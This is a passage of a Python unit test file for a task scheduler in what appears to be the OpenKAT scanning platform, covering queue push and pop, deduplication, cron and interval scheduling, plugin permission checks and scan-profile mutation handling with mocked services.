self.scheduler.pop_item_from_queue()\n        self.assertEqual(1, len(popped_items))\n        self.assertIsNone(popped_items[0].data.get(\"deduplication_key\"))\n\n    def test_post_push(self):\n        \"\"\"When a task is added to the queue, it should be added to the database\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_item_to_queue(task)\n\n        # Task should be on priority queue\n        task_pq = models.BoefjeTask(**self.scheduler.queue.peek(0).data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje_task.boefje.id, task_pq.boefje.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Schedule should be in datastore\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n        self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n        # Schedule deadline should be set\n        self.assertIsNotNone(schedule_db.deadline_at)\n\n        # Schedule cron should NOT be set\n        self.assertIsNone(schedule_db.schedule)\n\n    def test_post_push_boefje_cron(self):\n        \"\"\"When a boefje specifies a cron schedule, the schedule should be set\"\"\"\n        # Arrange\n        cron = \"0 0 * * *\"\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type], cron=cron)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_item_to_queue(task)\n\n        # Task should be on priority queue\n        task_pq = models.BoefjeTask(**self.scheduler.queue.peek(0).data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje_task.boefje.id, task_pq.boefje.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Schedule should be in datastore\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n        self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n        # Schedule deadline should be set\n        self.assertIsNotNone(schedule_db.deadline_at)\n\n        # Schedule cron should be set\n        self.assertIsNotNone(schedule_db.schedule)\n        self.assertEqual(schedule_db.schedule, cron)\n\n        # Check if the deadline_at is set correctly, to the next\n        # day at midnight\n        self.assertEqual(\n            schedule_db.deadline_at,\n            datetime.now(timezone.utc).replace(hour=0, minute=0, second=0, microsecond=0) + timedelta(days=1),\n        )\n\n    def test_post_push_boefje_interval(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type], interval=1500)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_item_to_queue(task)\n\n        # Task should be on priority queue\n        task_pq = models.BoefjeTask(**self.scheduler.queue.peek(0).data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje_task.boefje.id, task_pq.boefje.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Schedule should be in datastore\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n        self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n        # Schedule deadline should be set\n        self.assertIsNotNone(schedule_db.deadline_at)\n\n        # Schedule cron should NOT be set\n        self.assertIsNone(schedule_db.schedule)\n\n        # Check if the deadline_at is set correctly with the interval\n        # set to 1500 minutes (25 hours) to at least the next day\n        self.assertGreater(schedule_db.deadline_at, datetime.now(timezone.utc) + timedelta(days=1))\n\n    def test_pop(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        task = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        # Mocks\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_item_to_queue(task)\n\n        # Assert: popped items should be 1\n        popped_items = self.scheduler.pop_item_from_queue()\n        self.assertEqual(1, len(popped_items))\n\n    def test_pop_deduplication(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje = BoefjeFactory()\n\n        # Mocks\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        orgs = [self.organisation.id, OrganisationFactory().id, OrganisationFactory().id]\n        original_tasks = []\n        dkey = uuid.uuid4()\n        for org in orgs:\n            boefje_task = models.BoefjeTask(\n                boefje=models.Boefje.model_validate(boefje.model_dump()),\n                input_ooi=ooi.primary_key,\n                organization=org,\n                deduplication_key=dkey.hex,\n            )\n\n            task = models.Task(\n                scheduler_id=self.scheduler.scheduler_id,\n                organisation=self.organisation.id,\n                priority=1,\n                type=models.BoefjeTask.type,\n                hash=boefje_task.hash,\n                data=boefje_task.model_dump(),\n                created_at=datetime.now(timezone.utc),\n                modified_at=datetime.now(timezone.utc),\n            )\n            original_tasks.append(task)\n\n            self.scheduler.push_item_to_queue(task)\n\n        popped_items = self.scheduler.pop_item_from_queue()\n        for item in popped_items:\n            # Assert: the deduplication_key of the items should be the same\n            self.assertEqual(str(dkey), item.data.get(\"deduplication_key\"))\n\n    def test_pop_deduplication_different_deduplication_key(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje = BoefjeFactory()\n\n        # Mocks\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        orgs = [self.organisation.id, OrganisationFactory().id, OrganisationFactory().id]\n        original_tasks = []\n        dkey = uuid.uuid4()\n        for org in orgs:\n            boefje_task = models.BoefjeTask(\n                boefje=models.Boefje.model_validate(boefje.model_dump()),\n                input_ooi=ooi.primary_key,\n                organization=org,\n                deduplication_key=dkey.hex,\n            )\n\n            task = models.Task(\n                scheduler_id=self.scheduler.scheduler_id,\n                organisation=self.organisation.id,\n                priority=1,\n                type=models.BoefjeTask.type,\n                hash=boefje_task.hash,\n                data=boefje_task.model_dump(),\n                created_at=datetime.now(timezone.utc),\n                modified_at=datetime.now(timezone.utc),\n            )\n            original_tasks.append(task)\n\n            self.scheduler.push_item_to_queue(task)\n\n        # Add one test with a different deduplication key\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=OrganisationFactory().id,\n            deduplication_key=uuid.uuid4().hex,\n        )\n\n        task = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        self.scheduler.push_item_to_queue(task)\n\n        popped_items = self.scheduler.pop_item_from_queue()\n        self.assertEqual(3, len(popped_items))\n        for item in popped_items:\n            # Assert: the deduplication_key of the items should be the same\n            self.assertEqual(str(dkey), item.data.get(\"deduplication_key\"))\n\n    def test_post_pop(self):\n        \"\"\"When a task is removed from the queue, its status should be updated\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        # Mocks\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_item_to_queue(task)\n\n        # Assert: task should be on priority queue\n        task_pq = models.BoefjeTask(**self.scheduler.queue.peek(0).data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje_task.boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Act\n        self.scheduler.pop_item_from_queue()\n\n        # Assert: task should be in datastore, and dispatched\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.DISPATCHED)\n\n    def test_has_boefje_permission_to_run(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Act\n        is_allowed = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertTrue(is_allowed)\n\n    def test_has_boefje_permission_to_run_boefje_disabled(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type], enabled=False)\n\n        # Act\n        is_allowed = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertFalse(is_allowed)\n\n    def test_has_boefje_permission_to_run_scan_profile_is_none(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        ooi.scan_profile = None\n\n        # Act\n        is_allowed = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertFalse(is_allowed)\n\n    def test_has_boefje_permission_to_run_ooi_scan_level_is_none(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        ooi.scan_profile.level = None\n\n        # Act\n        is_allowed = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertFalse(is_allowed)\n\n    def test_has_boefje_permission_to_run_boefje_scan_level_is_none(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=None, consumes=[ooi.object_type])\n\n        # Act\n        is_allowed = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertFalse(is_allowed)\n\n\nclass ScanProfileMutationTestCase(BoefjeSchedulerBaseTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.mock_has_boefje_task_started_running = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_task_started_running\", return_value=False\n        ).start()\n\n        self.mock_has_boefje_permission_to_run = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_permission_to_run\", return_value=True\n        ).start()\n\n        self.mock_has_boefje_task_grace_period_passed = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_task_grace_period_passed\", return_value=True\n        ).start()\n\n        self.mock_get_plugin = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_plugin_by_id_and_org_id\"\n        ).start()\n\n        self.mock_get_boefjes_for_ooi = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_boefjes_by_type_and_org_id\"\n        ).start()\n\n        self.mock_get_configs = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_configs\", return_value=[]\n        ).start()\n\n    def tearDown(self):\n        mock.patch.stopall()\n\n    def test_process_mutations__(self):\n        \"\"\"Scan level change\"\"\"\n        # Arrange\n        ooi = OOIFactory(scan_profile=ScanProfileFactory(level=0))\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        mutation = models.ScanProfileMutation(\n            operation=\"create\", primary_key=ooi.primary_key, value=ooi, client_id=self.organisation.id\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.id, item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n    def test_process_mutations_value_empty(self):\n        \"\"\"When the value of a mutation is empty it should not push any tasks\"\"\"\n        # Arrange\n        mutation = models.ScanProfileMutation(\n            operation=\"create\", primary_key=\"123\", value=None, client_id=self.organisation.id\n        ).model_dump_json()\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_mutations_no_boefjes_found(self):\n        \"\"\"When no plugins are found for boefjes, it should return no boefje tasks\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        mutation = models.ScanProfileMutation(\n            operation=\"create\", primary_key=ooi.primary_key, value=ooi, client_id=self.organisation.id\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = []\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_mutations_not_allowed_to_run(self):\n        \"\"\"When a boefje is not allowed to run, it should not be added to the queue\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        mutation = models.ScanProfileMutation(\n            operation=\"create\", primary_key=ooi.primary_key, value=ooi, client_id=self.organisation.id\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n        self.mock_has_boefje_permission_to_run.return_value = False\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_mutations_still_running(self):\n        \"\"\"When a boefje is still running, it should not be added to the queue\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        mutation = models.ScanProfileMutation(\n            operation=\"create\", primary_key=ooi.primary_key, value=ooi, client_id=self.organisation.id\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n        self.mock_has_boefje_task_started_running.return_value = True\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_mutations_item_on_queue(self):\n        \"\"\"When a boefje is already on the queue, it should not be added to the queue\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        mutation1 = models.ScanProfileMutation(\n            operation=\"create\", primary_key=ooi.primary_key, value=ooi, client_id=self.organisation.id\n        ).model_dump_json()\n        mutation2 = models.ScanProfileMutation(\n            operation=\"create\", primary_key=ooi.primary_key, value=ooi, client_id=self.organisation.id\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation1)\n        self.scheduler.process_mutations(mutation2)\n\n        # Task should be on priority queue (only one)\n        task_pq = self.scheduler.queue.peek(0)\n        boefje_task_pq = models.BoefjeTask(**task_pq.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, boefje_task_pq.input_ooi)\n        self.assertEqual(boefje.id, boefje_task_pq.boefje.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task_pq.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n    def test_process_mutations_delete(self):\n        \"\"\"When an OOI is deleted it should not create tasks\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        mutation1 = models.ScanProfileMutation(\n            operation=models.MutationOperationType.DELETE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation1)\n\n        # Assert\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_mutations_delete_on_queue(self):\n        \"\"\"When an OOI is deleted, and tasks associated with that ooi\n        should be removed from the queue\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        mutation1 = models.ScanProfileMutation(\n            operation=models.MutationOperationType.CREATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation1)\n\n        # Assert: task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Arrange\n        mutation2 = models.ScanProfileMutation(\n            operation=models.MutationOperationType.DELETE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Act\n        self.scheduler.process_mutations(mutation2)\n\n        # Assert\n        self.assertIsNone(self.scheduler.queue.peek(0))\n        self.assertEqual(0, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.CANCELLED)\n\n    def test_process_mutations_op_create_run_on_create(self):\n        \"\"\"When a boefje has the run_on contains the setting create,\n        and we receive a create mutation, it should:\n\n        - NOT create a `Schedule`\n        - SHOULD run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=[RunOn.CREATE])\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.CREATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: schedule should NOT be created\n        self.assertIsNone(task_db.schedule_id)\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule_by_hash(task_db.hash)\n        self.assertIsNone(schedule_db)\n\n    def test_process_mutations_op_create_run_on_create_update(self):\n        \"\"\"When a boefje has the run_on contains the setting create,update,\n        and we receive a create mutation, it should:\n\n        - NOT create a `Schedule`\n        - SHOULD run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=[RunOn.CREATE, RunOn.UPDATE])\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.CREATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: schedule should NOT be created\n        self.assertIsNone(task_db.schedule_id)\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule_by_hash(task_db.hash)\n        self.assertIsNone(schedule_db)\n\n    def test_process_mutations_op_create_run_on_update(self):\n        \"\"\"When a boefje has the run_on contains the setting update,\n        and we receive a create mutation, it should:\n\n        - NOT create a `Schedule`\n        - NOT run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=[RunOn.UPDATE])\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.CREATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should NOT be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_mutations_op_create_run_on_none(self):\n        \"\"\"When a boefje has the run_on is empty, and we receive a create\n        mutation, it should:\n\n        - SHOULD create a `Schedule`\n        - SHOULD run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=None)\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.CREATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_plugin.return_value = boefje\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: schedule should be created\n        self.assertIsNotNone(task_db.schedule_id)\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n\n        # calculate deadline needs to return correct plugin\n\n    def test_process_mutations_op_update_run_on_create(self):\n        \"\"\"When a boefje has the run_on contains the setting create,\n        and we receive an update mutation, it should:\n\n        - NOT create a `Schedule`\n        - NOT run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=[RunOn.CREATE])\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.UPDATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_plugin.return_value = boefje\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should NOT be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_mutations_op_update_run_on_create_update(self):\n        \"\"\"When a boefje has the run_on contains the setting create,update,\n        and we receive an update mutation, it should:\n\n        - NOT create a `Schedule`\n        - SHOULD run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=[RunOn.CREATE, RunOn.UPDATE])\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.UPDATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_plugin.return_value = boefje\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: schedule should NOT be created\n        self.assertIsNone(task_db.schedule_id)\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule_by_hash(task_db.hash)\n        self.assertIsNone(schedule_db)\n\n    def test_process_mutations_op_update_run_on_update(self):\n        \"\"\"When a boefje has the run_on contains the setting update,\n        and we receive an update mutation, it should:\n\n        - NOT create a `Schedule`\n        - SHOULD run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=[RunOn.UPDATE])\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.UPDATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_plugin.return_value = boefje\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = 